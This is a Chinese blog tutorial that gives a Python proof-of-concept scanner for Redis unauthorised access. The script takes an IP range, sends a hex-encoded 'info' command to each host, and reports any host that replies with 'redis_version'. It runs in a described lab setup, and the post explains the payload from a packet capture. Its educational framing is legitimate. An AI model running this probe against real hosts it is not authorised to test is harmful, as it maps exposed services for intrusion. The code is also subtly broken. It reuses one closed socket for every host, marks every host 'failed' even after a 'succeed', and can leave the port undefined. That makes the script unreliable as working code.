Redis未授权访问漏洞验证脚本编写(POC)
1.实验环境:
Ubuntu18(靶机)
kali linux(攻击机)
2.代码的编写:
import sys
import getopt
import socket
def url_exec(url):#将要探测的主机地址都存入一个待测数组内
ans = []
group = []
li = url.split(".")
if (url.find('-') == -1):
group.append(url)
ans = group
else:
ans = url_list(li)
return ans
def url_list(li):#如果带探测的ip地址是一个范围的话那么就放到这个函数中去执行
ss = []
i = 0
j = 0
ans = []
for s in li:
a = s.find('-')
i = i + 1
if a != -1:
ss = s.rsplit("-")
j = i
break
for s in range(int(ss[0]), int(ss[1]) + 1):
li[j - 1] = str(s)
aa = ".".join(li)
ans.append(aa)
return ans
def redis_unauthorized(url, port):#实际进行漏洞验证的脚本
result = []
s = socket.socket()
payload = "\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a"#这个pyload是什么后面细说
socket.setdefaulttimeout(10)
for ip in url:
try:
s.connect((ip, int(port)))
s.sendall(payload.encode())
recvdata = s.recv(1024).decode()
print(str(recvdata))
if recvdata and 'redis_version' in recvdata:#用关键字进行检测漏洞
result.append(str(ip) + ':' + str(port) + ' ' + 'succeed')
except:
pass
result.append(str(ip) + ':' + str(port) + ' ' + 'failed')
s.close()
return result
def start(argv):#对脚本的传参进行判断
url = ""
type = "Redis"
if len(sys.argv) < 2:
print("-h 打印帮助信息;\n")
sys.exit()
try:
banner()
opts, argv = getopt.getopt(argv, "-u:-p:-h")
except getopt.GetoptError:
print("Error an argument!")
sys.exit()
for opt, arg in opts:
if opt == '-u':
url = arg
elif opt == '-p':
port = arg
elif opt == '-h':
usage()
launcher(url, type, port)
def launcher(url,type,port):#脚本启动函数
#未授权访问类型
if type == "Redis":
output = redis_unauthorized(url_exec(url),port)
output_exec(output,type)
def banner():#作者的banner信息
print(" #############################################")
print(" THE AUTHOR FUNCI")
print(" #############################################")
def usage():#使用手册
print("-h : 帮助")
print("-u : 域名")
print("-p : 端口")
sys.exit()
def output_exec(output,type):#输出规范
print("\033[1;32;40m" + type + "......\033[0m")
print("++++++++++++++++++++++++++++++++++++++++++++++++")
print("| ip | port | status |")
for li in output:
print("+-----------------+-----------+--------------+")
print("| " + li.replace(":", " | ") + " | ")
print("+----------------+------------+---------------+\n")
print("[*] shutting down....")
if __name__ == '__main__':#主函数
try:
start(sys.argv[1:])
except KeyboardInterrupt:
print("interrupted by user, killing all thread.....")
3.脚本执行效果:
试验成功,具体的实验环境配置看上一个博客的漏洞攻击实验
4.Payload由来:
我们在验证某一个靶机的Redis服务是否有未授权访问漏洞的时候,会向该靶机传入info命令来查看是否可以拿到该服务的详细信息。所以,我们现在需要了解的就是,如果我们向靶机传入info命令的时候,客户机发出的数据包的内容究竟是什么。我们通过抓包的方式就可以获得这个内容:
*1
$4
info
这就是数据包的实际发送内容,我上面的是我转十六进制之后的结果,不转的话似乎也可以,大家可以试试。下面附上一个抓取info命令数据的详细步骤的博客。
https://blog.youkuaiyun.com/lonely_feather/article/details/88076174